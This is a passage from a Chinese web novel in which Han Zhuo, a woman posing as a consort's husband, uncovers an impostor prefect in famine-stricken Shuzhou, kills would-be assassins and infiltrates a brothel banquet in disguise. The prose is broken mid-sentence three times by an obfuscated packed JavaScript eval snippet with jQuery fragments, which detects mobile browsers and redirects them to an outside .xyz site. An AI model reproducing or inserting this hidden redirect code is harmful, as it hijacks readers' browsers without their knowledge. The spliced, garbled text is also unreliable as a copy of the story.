“姚兄何必如此自苦,官场沉浮,人生总会有些起落,若有朝一日朗参军重振旗鼓,你又有何打算?” 姚申只笑笑:“想那时年少气盛,把面子看得太重,现在想来,我丢了仕途不算什么,可丢了这天地间惟一知己,才是毕生之憾。” 韩濯垂眸不语。 “朝堂之上没有亲疏远近,我不觉得老师有错,也多亏老师派我这个富贵闲人来寻找钱师兄的下落,否则,这辈子怕是和朗兄没有交集了。” 说着,他长长吐出一口浊气,仿佛吐尽了多年的负担一般浑身轻松,随后他又恢复了平静的神色,只是还盯着韩濯,似乎在等着她的下文。 看来这厮今日,八卦是非听不可了。 韩濯十分无奈,思索片刻轻飘飘道:“有劳姚兄今日提点,待我们办完事回灌州,我定然会放下脸面,向公主好好道歉。” 姚申十分惊愕:“什么?我还以为......” “以为什么?”韩濯挑眉问道。 姚申沉默片刻,开口道:“我还以为韩兄真有什么红颜知己,因为这个才愁闷,不成想竟真是为了殿下。” 红颜知己?韩濯苦笑:“我哪敢。” “明明在下结亲之前,最是洁身自好,也不知西京里有关我那些个乱七八糟的传闻都是哪里来的。” 姚申肉眼可见地一噎,可韩濯没发现。 沉默一阵后,姚申道:“看来韩兄对殿下,还真称得上忠贞,纵使从前并不熟识,仍能倾盖如故,也算是天赐的良缘。” 韩濯已经习惯被人拿过来和宋青瑛炒cp了,其实并不反感,反正她自己也没什么喜欢的人,宋青瑛长得好看脾气好,就算当名义上的老婆也够人暗爽,可她觉得有必要解释一下:“其实我和殿下从前见过的,彼时我刚刚丧父,在入宫时第一次见他,”韩濯回忆起来,忍不住笑了:“当时我还不知道他是公主,那时他年纪尚小,可周身气度不凡,我走时,还送了我一个扳指。” 她晃了晃手,给姚申看了一眼。 姚申眼神一亮,随后思绪好像飘到了很远的地方,自顾自念道:“恁时相见早留心,何况到如今......” 韩濯被他酸倒了牙,赶紧说重点:“殿下于我,更像是亲人,妹妹,我其实.....” “我们到了。” 韩濯抬眼,见前方道路开阔,城门已近在眼前,不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14850677|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过百步之遥。 残阳夕照,一两个面黄肌瘦的百姓背着行囊,眼神发直,朝韩濯他们的来路走去。 路过一方草丛,一个灾民仿佛看见了什么,走过去俯下了身,似乎在翻找东西。 他翻了许久,弄得草丛之间细细簌簌地作响,纵使韩濯他们路过,也恍若未见。 韩濯看向草丛之间,反应过来那是什么的时候,受到的冲击导致她的大脑空白了一瞬。 那是一个饿死的人。 不知死了多久,身上没什么多余的肉,大概是饥饿而死的缘故,看起来仿佛被风干,那个灾民一言不发地闷头剥下死尸的衣裳,残阳如血,把那张深深凹陷的脸映照出了残忍的艳色。 如此静谧的死亡。 他剥下衣服,在自己腰间一系,便头也不回地走了。 韩濯与姚申一时都沉默不言。 过了好一阵,韩濯才开口,声音有些干涩:“我记得当初蜀州饥馑的折子是递上去了,赈灾的钱粮也批了下去,怎么还会这样?” 姚申现在是个寻常布衣,说话自然也无所顾忌了些,冷笑道:“那可能要问问我们的刺史王大人了。” 估计起来,又是官员贪墨赈灾钱粮,仗着有灌州这么个粮仓,下属的官员又都好拿捏,贪官当得肆无忌惮。 说话间,二人已经进了城。 此时二人所处的位置应当是蜀州最繁华的街道之一,城内城外似乎两种景象,暮色已临,酒楼的旗幡还在迎风招摇,在街上走动的一看就是当地的富户,莺歌燕语在远处一家挂了“品香居”牌子的酒楼中遥遥传来。 走到近前时,姚申提议道:“天色已晚,此时拜访怕是不太合宜,不如我们用些饭食,再找个地方休整一晚?” 韩濯点头,二人刚走近品香居,便被门口的小二拦住了。 “客官,实在不好意思,今日我们这酒楼被刺史大人包下了。” 韩濯与姚申对视一眼。 当真是朱门酒肉臭,路有冻死骨,达官贵人还有心思在这儿花天酒地! “我们便是来找刺史大人的。”韩濯道。 “二位是......” 韩濯解释道:“鄙人姓韩,单名一个濯字,刚到灌州赴任不久,昨日接到消息称钱大人家里出了事,事态紧急,不得不前来叨扰王大人,烦请通报一声。” 说着,在这人手中放了些赏钱。 那小二欢天喜地地接了,进了屋去,没过多久便出来了:“不好意思,贵人,钱大人说他暂时不见客。” 姚申刚要说话,被韩濯抢了先:“那我们不便叨扰了,还是明日再去拜访。” 说着转身就走,那小二却叫住了她:“哎,贵人。”他叹了口气道:“见你们是实在人,实话跟您说吧,在蜀州各种茶楼酒肆,你都能见得到两位大人,可唯独就是在刺史府见不到,您说不定明日又会白跑一趟。” 韩濯神色微动,但也没露出什么情绪,只是对这小二道了声谢,便带着姚申走了。 “韩兄,我们不应该再争取一下?”姚申问道。 韩濯摇摇头:“看他们这样,应当是不会见了。” “那怎么办,我们就这样空手而回?” “怎么会?”韩濯笑了起来,眼角飞扬起来的弧度有些促狭:“我们不回。” 姚申呆住了:“什么?” “我们是不能进去,难不成他还一直不出来?”韩濯抱起了肩膀。 “我们就在这儿等。” 34. 偷梁换柱 从残阳夕照等到明月高悬,品香居门口仍然毫无动静。 姚申觉得冷,被冻得哆嗦了一下,抬眼看向旁边的韩濯,见她毫无疲倦之色,不由苦笑:“我说驸马爷,您还真是心性非比寻常,在下佩服。” 韩濯回过神来,看了看姚申这细瘦的小身板,道:“姚兄若是觉得冷,不妨回屋去歇息一阵,夜深露重,小心风寒。” “那韩兄你......” 韩濯笑了笑:"我一介武夫,皮糙肉厚得很,不妨事。" 姚申挣扎片刻,实在忍不住寒意入侵和逼上来的困意,道:“那在下先歇息一阵,有劳韩兄了。” 他们二人挑了品香居斜对面的一家小酒馆盯梢,只要了两碗素面,便一声不响地坐在门口等着堵人,酒馆的小二看着犯嘀咕,倒也没管,见姚申似乎有留宿的意思,忙满面带笑地迎了上来。 姚申走到了门口,思来想去,还是觉得并非长久之计,道:“韩兄,不如还是明日再说吧,你不知晓,这些酒楼里面多多少少暗中做一些皮肉生意,若真是在内寻欢作乐,今夜他们是打道回府还是留宿,还未可知。” “来了。”韩濯沉声道。 就在他们说话的当口,品香居涌出了一波人来,为首的两个也不知在相互吹捧什么,攀谈了一阵便高声大笑,都醉醺醺地带着一身酒气。其中一个更是放荡不羁,谈笑间搂了身旁一个美人儿,大庭广众之下动手动脚。 这应当就是蜀州刺史和钱钧了,韩濯暗道。 她想到这儿,回头便想要叫上姚申跟上去。 “姚兄,这两个哪一位是......” 韩濯止住了话头。 姚申的眼都直了,看上去仿佛见了鬼,韩濯唤了他两声:“姚兄?” 姚申愣愣地转向她,好像还未晃过神来。 “怎么回事?”韩濯问道。 “这不是钱师兄。” 什么? 韩濯皱了皱眉。 “当真?” “千真万确。”姚申道:“我虽没见过钱师兄几次,但是决计错不了,这人虽然同样方面阔耳,面目上有些许相似,但是不是自己师兄,我还是认得出的,再者说钱师兄性子最是敦厚温和,而此人行为放荡,举手投足之间都带着一股跋扈,怎可能是他?” 这人若不是钱刺史,又会是谁? 韩濯心中疑窦丛生,拉起姚申道:“走。” 本来打算看看他们今夜住在哪,好方便明天一早堵人问个清楚,姚申还抱着一点自家师兄有难言之隐做出权宜之计的希望,而此时此刻人都未必是真的,不妨直接试探。 那小二看二人转头就走,到手的生意落空,暗地把这两个吝啬鬼八代祖宗全问候了一遍,今年普通百姓过得艰难,他更加看不上这些衣着光鲜的公子哥,骂骂咧咧地擦桌子:“看着人模狗样,兜里一个子儿没有,怕不是在哪家赌坊输得吊蛋精光,叫了两碗素面就让帮着喂马,抠成这样他妈的以后娶个老婆也是跟别人跑了......” “王大人,我带的酒的确不错吧。” 王大人带着醉意笑道:“老夫这么多年,还没喝过如此清冽的酒,入口醇厚,如坠云端,飘飘然如羽化登仙矣,也是托了钱兄的福,才能有如此口福。” “钱钧”大笑,随后道:“既如此,那不妨我们明日再聚一次,不醉不归?” “正合我意,明日醉春楼的婉音姑娘挂牌,钱兄不妨同往,美酒配佳人,也不枉这一壶难得的桃源醉......” 跟在后面的韩濯眼皮一跳,不由得走快了几步。 “钱大人!” 那二人闻声回头,与韩濯目光交汇。 王大人见来的是一个芝兰玉树的公子哥,身边还跟了个看上去一脸苦相神情恍惚的病秧子,料定来人非富即贵,停步道:“阁下是......” 韩濯注意到,“钱钧”的神色闪过了一丝慌乱,当机立断地赌了一把:“这位,想必是蜀州刺史王大人吧,我表兄初来乍到,有劳您照料了......” 王大人立刻道:“原是钱兄的表弟,果然是一表人才,失敬失敬,我和尊兄甚是投缘,何来照料之说,未免太客气了。” 姚申在一旁不明所以,但看驸马爷脸不红心不跳,料定她必有计策,便只是闭了嘴不吱声。 “钱钧”很快神色恢复了正常,道:“多年未见,表弟怎么今日才想着来看看我?” 这人倒也不傻,韩濯心中暗道,亲近的“表弟”自然熟识相貌,认得出他不是真正的钱钧,因此他推测韩濯八成只是多年未见的远房亲戚了。 “我从巴州去京城,想着表兄在灌州赴任,便想着顺路看望你,经朗参军告知,才特地转来这儿看你。”韩濯皮笑肉不笑道:“别来无恙。” 姚申对驸马这信口胡诌的本事佩服地五体投地,胆子也大了不少,但听王大人点到他时,还是紧张得脑子一片空白。 “这位是......” 韩濯见姚申不顶用,忙替他回答道:“是在下的好友,他与我结伴同行,去京城拜访老师。” 王大人道:“敢问阁下的师承何人?” 姚申脑子没转过弯来,坦白道:“师承不敢,曾受内阁大学士张安先生提点,特地去拜访他老人家。” 王大人大喜:“钱兄,这位原来是你的师兄弟,是缘分啊!二位随我来,我为二位寻个好住处下榻,明日我设宴款待二位,薄酒素菜不成敬意,请务必赏光。” 钱刺史的表情僵硬了一瞬,极难察觉,可韩濯还是捕捉到了。 糟了。韩濯心道。 姚申这一句话,说不准会为他二人招致祸端。 “那我们便恭敬不如从命了。”韩濯笑着,面不改色道。 / 夜色渐浓。 王刺史的确是大手笔,给他们安排的住处舒适气派,还多亏了张阁老的名头,才让二人得到了这种待遇,他乐意接待“钱钧”这么些时日,恐怕也是同样的缘由。 官场上能混得风生水起的人,靠得未必是什么才高八斗。但大多数都长袖善舞,极擅长在上司面前刷印象分,姓王的能做到刺史,这种本事定不可小觑。 “韩兄,你可真是吓死我了,我......” "嘘!"韩濯将手指放在嘴边,吓得姚申捂住了嘴。 韩濯四处转了一圈,才返回来对他轻声道:“小心隔墙有耳。” 姚申咽了口唾沫:“有么?” 韩濯挑了挑眉毛:“现在没有。” 现在没有,那就是之后说不定有,姚申哪里经历过这些,心脏怦怦直跳,他万分感谢朗祁月叫了韩濯过来帮忙,这个情况超出了他的预期,如果没有韩濯,他完全不知道如何处理。 韩濯不太打算和他解释灵山村的事,她方才听到“桃源醉”一词,便猛然想起当时灵山村内,被刺激得精神失常的那个老爷,似乎也姓钱,她心里隐隐有了猜测,但这些还需要进一步确认。 她心里打定了主意,有了初步的计划,不过...... 她看向姚申失去血色的脸。 这家伙是个碍事的。 “那我们下一步怎么做?” 韩濯笑笑,对他道:“吹灯,休息。” “啊?”姚申迷茫:“我们还真去赴宴,露馅了怎么办?” 韩濯点头:“去。” 不过,去的是我,不是你。她心中暗道。 姚申还满心以为他们真能平安无事地等到明日赴宴。 姚申刚刚还在刺史面前自报了师门,“钱钧”定然会觉得等姚申到了京城见了真钱钧的老师,两人相谈之时聊到自己,保不齐会发现端倪,像张阁老这等重臣掺和进来,自己这个假身份可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14856574|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就岌岌可危了。 所以,姚申和韩濯最好今晚就悄无声息地“离开”。 / 已是子夜,云间小筑客栈内,灯火已熄,几个房间中还传出轻微的鼾声。 此时月破云来,将花园照得一片银亮。 寂静中,后花园的小径处却有微声响动。 三个黑衣人穿梭在花叶其间,脚步声放得极轻,若不是此时月光清亮,即使是眼力再好的人都极难发觉。 三人到了一个房间之外,轻悄悄地停了下来,似乎是在仔细聆听里面的动静。 少顷,那房间的窗纸被一竹管戳破,屋内源源不断地涌进了白雾般的粉末。 过了大约一刻钟,室内仍是毫无动静。 其中一个黑衣人点了点头。 另一个接到信号,迅速撬开了房门,三人同时冲进了房内。 月光照亮了屋内的情形。 两个年轻公子卧在床上,似乎已人事不知,为首的黑衣人轻声笑了一下,将手一挥,其余两人会意,将屋内的两个人负在背上背了出去。 整个过程堪称神不知鬼不觉,直到离开云间小筑,似乎仍然没人发觉。 “大哥,我们把他们背去哪里处理?” 为首的黑衣人道:“自然是背去城外,老大让我们处理得干净一些,自然不能在蜀州城内见血。” 月光照亮了其中一个年轻人的面目,长眉入鬓,玉面红唇,倒是一张人中龙凤的脸。 为首的黑衣人一顿,捏起了那年轻人的下巴细看。 那人呼吸均匀,被他掐得口唇微张,显然是中了迷药,现下毫无知觉。 “啧。”那黑衣人轻声道:“可惜了。” 他松了手,让那年轻人的头猛地垂了下来:“快点,速战速决。” 城外秋风凄紧,饿殍仍在路旁无人收尸,有几个已经被剥了个精光,就剩下一副没什么用的残躯,因着过于细瘦,和白骨也没什么区别。 “大哥,我们要不要先...”两人眼中现出贪婪的光,对为首那人道。 “动作快点!”那人似乎厌恶极了,在一旁抱起肩膀,并不动手。 那两人得到应许,眼冒精光,迅速在人事不省的两人身上搜刮起来。 “这个长得真不错,就这么解决了怪可惜的。”其中一个道。 另一个白了他一眼:“少节外生枝。” “都在我们手里了,能出什么岔子!”那人道:“不行,爷们儿这两天身上不爽利,这几天都没收成,没钱找醉春楼的小倌儿们泄火,难得碰着这么一个美人儿,不动心思不是男人。” 为首的那个黑衣人背对着他们两个,听了这话皱了皱眉,倒也没阻拦。 “你要不要也试试?” “我他妈没这癖好。” “那你他妈还看,要一起咋的?” 另外一个骂骂咧咧地转身了。 这人咽了下口水,摸上了地上人毫无知觉的脸,触手温软细腻,他喉结滚动了一下,伸手去掀雪白的衣襟。 碰上毫无知觉的美人脖颈的刹那,他对上了一双锋锐的眼睛。 霜雪一般的杀意让他神魂惊惧,还未来得及发出一声喊叫,顷刻间,被抽出的短刀划破喉咙,一刀毙命! 鲜血溅出的声音在静谧的夜里格外清晰。 韩濯飞速站了起来,手中寒刃仍在滴血,似乎粘在了袍子上一点,她嫌弃地一皱眉,“啧”了一声。 “脏死了。” 这袍子袖口曾经破过,还是宋青瑛给她补的。 剩下的两个黑衣人望向三米之外的韩濯,皆是目眦欲裂,这人结果一人性命只在电光火石间,一张俊面在几点颊上鲜血的映衬下,仿佛阎罗。 韩濯把短刀插回腰间,将那已经死透了的黑衣人身上长刀提在手上,轻笑:“还是长的趁手些。” 35. 醉春佳人 还未等那二人反应过来,韩濯就已在瞬息之间奔上前去,那一把之前还系在同伴身上的长刀此刻在她的手上迸发出了如雷霆一般的威慑,带着不可抗拒的势头砍到了一人近前。 那人未来得及反应,被这一刀吓得大脑一片空白,眼看着就要毙命于刀下,突然,这逼近的长刀在半空与一把铁剑短兵相接,发出一阵令人牙酸的铁器摩擦之声,硬生生被它挡开了。 黑衣人明白自己方才和死神擦肩而过,腿脚发虚发软,他功夫本就不到家,行走江湖靠的都是一些不入流的手段,差点就跪了。 韩濯有些意外地看着黑衣人头头,也没废话,迅速调整好攻势,紧接着一刀又斜斜地砍将上来,这回是冲着那头头去的。这一系列动作不过只在瞬息之间,那刚刚挡了韩濯一刀的头目不敢轻敌,他被方才勉强接下的那一刀震得虎口发麻,此时对着这来势更猛的一刀不敢硬接,忙闪身躲过。 “阁下,我们可以坐下来好好谈谈,又何必动这么大肝火?” 韩濯一哂,在压倒性优势下,傻子才会对准备要自己命的人谈判。手上动作未有丝毫迟疑,刀尖一转,向上挑去。 那人见韩濯丝毫不给面子,也沉下了脸,用尽了毕生所学,拼尽全力将铁剑在刀上一压。 韩濯的武艺是征战二十年未尝败绩的老英武侯亲授,老英武侯长了一副钢铁肺肠,对自家闺女更是毫不心软,韩濯穿过来许久,几番波折下来对这家传绝学已是熟稔于心,此刻已能使出原身的九成实力,这些跑江湖的贩夫走卒哪里是她的对手? 此刻在韩濯手下,冷硬的长刀却平生出了绕指柔般的缠绵,挟卷着他的铁剑,仅仅一把铁器,却仿佛布下了天罗地网,毫无空隙可以突破,黑衣人头目被她逼得心焦,心头一横,用蛮力挣脱了长刀的纠缠,可就这一下,也耗尽了他的力气,韩濯手中长刀在下一秒击中他的手腕,铁剑应声脱落,眼看着刀尖已近在眼前,黑衣人头头瞳孔微缩,电光火石间左手抓住了身旁刚恢复力气的同伴颈间衣料,单手将他捞在了自己身前,充当了一方人肉盾牌。 那倒霉蛋吓得大叫,眼看就要命丧韩濯刀下,刚想闭眼受死,没成想韩濯嫌弃地嘲弄了一声,随即似乎改变了主意,在刀尖已触到他喉咙时堪堪收手。 倒霉蛋不可置信地睁眼,见这尊活阎王收刀,差点没给她磕一个,可就在韩濯半路收刀的一瞬间,“咻”地一声,一支袖箭破空而来,直逼韩濯面门。 韩濯眉头一皱,没想到还有这种阴招,急忙闪身躲避,那袖剑堪堪擦过自己的脸颊,及其惊险地割断了几缕碎发。 而下一秒,另一支袖箭紧跟了上来,韩濯避闪不及,“哧”地一声,箭尖深深埋进了自己右肩。 黑衣人头目见自己得手,心头得意至极,欲趁着韩濯负伤,快速捡起自己的铁剑,可韩濯被射中却仿佛毫无知觉,眼睛都没眨一下,泛着寒意的长刀瞬息之间便再次打落了他刚拾起来的铁剑。 他整个人被笼罩在韩濯的阴影里,那张其实有些秀气的脸在染上血迹之后,此刻像极了地狱里爬上来的艳鬼,他哆嗦着开口,一个音节还未来得及吐出,就被长刀贯穿了喉咙。 韩濯提起刀看了看,刚才力气用得过大,似乎有些卷刃了,干脆挑起地上铁剑,将粗制滥造的长刀一扔,转头对上了刚才被人拉上垫背的倒霉鬼,调转剑柄在那人腹上狠狠一击,趁他弯腰呼痛时扼住了那人的喉咙,将不知什么东西塞进他口中,逼迫他咽了下去。 倒霉蛋跪在地上连连咳嗽,见韩濯又要抬手,来不及调整,拼命忍咳喊道:“好汉饶命!” 韩濯似乎觉得有些好笑,好整以暇地抱臂道:“我若今天留你一命,你拿什么来报答我?” “我我我我干什么都行,我给好汉当牛做马,我给......” "行了。"韩濯不耐烦一挥手,她本来就打算留个活口,若不是那头目过于狠毒,性格诡诈,不好控制恐生枝节,此刻有一条命在的,恐怕还轮不到他。 “我刚才喂你的东西,若没有我的解药,不出五日便会肠穿肚烂而死。” 那人大惊,连连叩首道:“饶命,饶命,好汉,啊不,英雄让我做什么都成!” 韩濯让开了一步,她实在不习惯有人对着她磕头,简直要折寿。 那丸药不过是李三三配的助益消化的普通药丸,倒也怪能哄人,她忍住笑,又起了玩心,道:“叫你吃屎你也去?” 那人忙不迭道:“去去去,什么猪的狗的牛的马的,老大您叫我吃的,那都是金贵东西,我现在就去!” “回来!” 这人闻言,乖乖回来老实跪好。 看来留这个活口是对的,狗怂一个,最好拿捏。 “身上背的弓给我。”韩濯道。 那人双手奉上。 “迷药呢?” 那人忙开始掏袖子,直到叮叮当当乱七八糟的药丸和暗器都抖落出来,全身上下精光剩条亵裤,又被逼迫着哆哆嗦嗦把已经一命呜呼的两个同伴也扒了,韩濯才放过了他。 “我不要你命可以,但是交代你的事,必须给我办。” “英雄你说!” “你回去和那姓钱的复命,只说我们都已经死于荒野,若露出任何端倪让他发觉......” 韩濯面无表情,做出了一个砍人脑袋的手势。 那人连声称是,等着韩濯下文。 “还愣着干什么?等我砍你吗?” 那人不敢把衣服穿上,分外羞涩地捂着前胸后背,一溜烟儿跑回了城。 韩濯目送那人消失在远处,低头捡了几样以后用得上的收入袖中,路过那方才企图占便宜的死鬼身边时,顺便在他脸上踢了一脚。 如果在这儿生活太久,忘记了自己在现代文明下长大,更有甚者掌握生杀予夺的权利,会不会变得越来越暴戾,彻底被这个时代吞噬? 韩濯看了看自己沾了血的手,她现在已经不再因为杀人而发抖了。 但这念头只冒了个头,就被压了回去。 在什么位置做什么事,做都做了,就不要假仁假义地嗟叹。活都活不下来,还谈什么现代人古代人,执着自己是谁,有什么用处?韩濯一哂。 她没有自怜自伤,给自己安苦情剧本的习惯,未免太矫情了些。 她将那三人被剥下来的衣物拿在手上,走到草丛间,把没有遮蔽,瀑尸荒野的几个饿死的尸体盖住了。 韩濯看了一会儿,沉默着对着尸体做了一揖。 做完这一切,她走到了姚申面前,此人还人事不省,正和她意,一会儿以女人的身份进醉春楼守株待兔,此人是个麻烦。 他思考了一下,掏出刚才搜刮来的迷药,又给他补了一剂。动手之前还没忘像之前那样把李三三的清心丹压在舌下。 确认姚申的确晕得不能再晕了之后,她满意地拍了拍手,打算把这家伙运到哪家客栈里让他借着睡个一天两天。 看着姚申细长的一条,她突然无从下手,不由懊恼道:“我这脑子,应该让那怂货顺便把这家伙背进城。” 可惜过了这村没这店,她只好认命地背起姚申,让他半截腿垂在地上拖着走,肩膀却被压得一痛。 韩濯这才注意到肩膀上中的一箭,入得极深,血也浸湿了袍子,痛意后知后觉蔓延上来,腰部的刀伤之前明明已经开始愈合,痛痒着长出新的血肉,却好似因为刚才动作太大而微微有些撕裂。 背上的姚申还不省人事地压着她,韩濯暗暗叫苦:“完蛋了,这回袍子大概真不能要了,现在我哪里有脸叫人家帮我补。” 韩濯摇了摇头,背着姚申,在夜色掩映下再次进了蜀州城。 / 次日,醉春楼。 婉音昨晚并没睡好,前半夜还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14864539|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙着应付几个混不知风雅的酒色之徒,心中有些憋闷,她从罗帐中坐起来,叫道:“阿蛮,热水。” 门外应道:“是,姑娘。” 就在这时,从她房间的窗外翻进了一个人。 婉音不禁惊呼一声,下一秒,就被人拿刀抵了脖子。 “别出声。”那人低声道。 “婉音姑娘?怎么了?” 说着,那人似乎要进门。 婉音? 倒也真是得来全不费工夫。 婉音对上那人颇具威胁的眼神,强装镇定道:“我没事,不小心磕了手,别进来,我在换衣裳。” 门外人应了声是,脚步声又远了。 这翻进来的人自然是韩濯。 她见婉音没有要喊的意思,就缓缓撤了刀。 “你是哪里来的狂徒?”婉音低声道。 韩濯第一回做爬人闺房的事,一时间也觉得新鲜,但对方是个姑娘,也不好唐突,便道:“得罪了,请问姑娘有没有治外伤的药?” 婉音这才发现,那人肩膀上插着一支短箭,鲜血把绯色的袍子染得暗红。 “有。”婉音干脆利落道。 这人看上去,应当不是什么好色之徒。 婉音按韩濯的要求取了小蛮放在门口的热水,又从床后取了一罐药膏回来,见到褪了一半衣袍的韩濯时,眼睛睁得浑圆。 这人束了胸,明显,是个女人! 韩濯恍若未觉,将插在肩膀上的短箭干脆利落地拔了下来,然后迅速接过婉音手中浸了热水的帕子。干脆利落地清洁止血,一声也没吭。 婉音眼神不可控制地瞄着韩濯的上半身,她腹部的肌肉薄薄的一层,线条优美流畅,随着呼吸上下起伏着,左腰似乎,也有一道未愈合的伤口。 婉音轻咳一声,亲自挖出了一点药膏,敷在了韩濯肩膀的伤处,又拿了干净的布巾包好,顺便帮韩濯把左腰旧伤也重新包扎好了,她指尖冰凉,按到腹部时把韩濯冰了一下。 “有劳姑娘。”韩濯有些意外,看着她低垂的眉眼,问道:“姑娘不知我是谁,就如此帮我?” 婉音一声轻笑:“蜀州自古以来就有不少奇人轶事,多少剑客豪侠在此处羁留,有什么好稀奇,姑娘愿意告诉我的时候自然会告诉,同样是女人,我焉有不帮之礼?” 韩濯听她一句“姑娘”,心里一种奇异的感觉涌了上来,她来大齐许多日子来,什么公子,好汉,小子,小白脸等等称呼听了个遍,还是第一回听人叫她姑娘,心里说不出地熨帖舒服,想着想着她便笑道:“既然如此,我想劳烦姐姐帮个忙,姐姐允是不允?” 婉音并没被一声“姐姐”冲昏头脑,神色平静道:“方才帮你治伤,是出于良心,而剩下的我帮不帮,要看你这忙是什么,一般来说,我是要报酬的。” 韩濯也觉得有趣:“什么报酬?” “你南来北往,应是听过不少新鲜故事,要给我讲上一讲,有什么新鲜曲子,也教我听一听,若是好,能助我谱出新曲子,我就答应帮你。” “这倒好办。”韩濯道:“我的故事可不少。” 婉音颔首:“那你要我帮什么?” “简单。”韩濯道:“姐姐的衣裙首饰借我一用,今晚我要请姐姐帮忙,混在你们乐师当中。” 婉音被“乐师”一词取悦到了,带着笑意问道:“你混进去要做什么?” “我要接近那个姓钱的。” 婉音看了韩濯一眼。 “成交。” “晚上还早,两个时辰之后,我再帮你上妆,现在,该兑现你的报酬了。” 韩濯笑了,要么说打交道,还是和姑娘自在:“既如此,我给姐姐讲个在百越之地听到的故事,词也有,曲也有,但愿姐姐能满意。” “有意思,这故事叫什么?” “《孟丽君》。” 36. 百密一疏 “姐姐,这不太好吧。” “别动!” “唔.......” 此刻,韩濯正被婉音捏住了脸,乒乒乓乓地上胭脂。 婉音看着如不胜衣,手劲却实打实地大,掰着韩濯躲来躲去的脑袋,往她脸上邦邦地敲香粉时,烟尘四起,激得韩濯一阵咳嗽。 补完粉,又开始勾眉画眼,韩濯被纤细的妆笔刺激地眼泪直流,婉音不耐烦地“嘶”了一声,让韩濯硬生生把到了嘴边的抱怨咽了回去,只能乖巧地任她折腾。 “好了。” 韩濯在将近一个时辰的折磨中如蒙大赦,接过婉音递来的铜镜来瞧,顿时面颊抽了抽,两眼一黑。 倒不是不好看,是太好看了,但这镜子里媚眼如丝的家伙真是自己?婉音敢化,韩濯都不敢认。 额间点了火红的花钿,据婉音说,这正是今年流行的式样。眉毛也被她修理描画得婉约秀丽,整体看起来,柔和了韩濯本来有些锋利的线条。 身上穿的倒是十分小清新,蓝粉配色的丝制襦裙,把她肩背的肌肉遮得严实,但该露的都露了,韩濯盯着看了半天,脸烧得能摊鸡蛋。 “怎么样?满意不满意?”婉音笑着问道。 “这......” 满意自然是满意,别说只有一面之缘的“钱钧”和王刺史认不出来,就是韩濯自己,也得反应半天。 但是韩濯前世就没有打扮得过于精致的习惯,平日里穿得十分休闲,正式场合也就抹个防晒霜涂个口红就出门,现在更是如此,以前在现代好歹还买过连衣裙,来大齐之后每日里穿男式穿习惯了,冷不丁如此花哨的漂亮裙子一系,韩濯不可避免扭捏起来。 “还......可以,但是......” “信我的,没错。”婉音笃定道。 / 中秋之夜,醉春楼歌舞升平之势自然更盛,丝竹管弦声声入耳,粉黛钗裙红袖翩跹,纵使蜀州城外饿殍遍野,也不耽误城内的老爷们纸醉金迷。 “今日中秋,本是个团圆时节,天底下唯独我们这些孤家寡人在一处喝闷酒,钱兄,小韩公子,真是相逢何必曾相识啊。” “中秋佳节能有幸陪王大人,何来‘闷酒’一说?” 一个看起来年纪尚小,粉妆玉琢的小公子抿了一口茶,微笑道:“多谢王大人款待。” 王大人哈哈大笑,凑上前道:“今日特邀了醉春楼最红的婉音姑娘,一手琵琶弹得出神入化,请二位务必赏光。” 说着,他伸手拍了两声,一群面若桃花的姑娘袅袅婷婷款款而来,暗香浮动间,抱着琵琶的婉音越众而出,对着这三人微微福身,在众多美人的簇拥下入座,葱段般的手指抚上琵琶弦,一曲《春江花月夜》缓缓流淌而出。 这乐曲自然十分动人,王大人支起了一支腿随着节奏拍膝,还匀出了一点空隙去观察这其他两人的反应。 不过这二人好像没什么反应。 “钱钧”眼神只是不停地往身边一个姑娘身上瞄,那姓韩的小公子像个木头,要听曲就真是听曲,一点反应和表情都没有,严肃地仿佛在批文书。 王大人自然是大失所望。 就在这时,三个带着面纱的美人从一侧走上前来,手中端着各色瓜果和美酒杯盏,尽管犹抱琵琶半遮面地掩去了一半面容,可依旧看得出来,都是个顶个的容貌出挑。 只不过,最后那个个子格外高的,好像有点笨拙,出来时被自己的裙子绊了一下。 最后的那姑娘当然是韩濯。 她刚跟着两个端着瓜果的漂亮姑娘屁股后在“钱大人”面前露面,便对上了一双分外熟悉的眼睛,她心神巨震,不小心绊了一下,差点摔个跟头。 那人即使穿的是男装,可一张冰雪雕琢一般的小脸,加上额间一颗朱砂,装得人模狗样的那位,不是宋青瑛是谁? 他来这干什么?要死要死! 怎么偏偏在自己用美人计时碰上他! 可千万别认出我来! 韩濯心脏怦怦直跳,刚才格外笨拙的动作惹来三人注意,在针扎一般的视线下硬着头皮跪坐在一旁,给钱钧斟酒。 “你是什么时候来的?怎么之前没见过你。”钱钧问道。 答还是不答?若是答了,自己夹得不成功,被宋青瑛听出来可怎么办,但不答,也不能一直装哑巴啊。 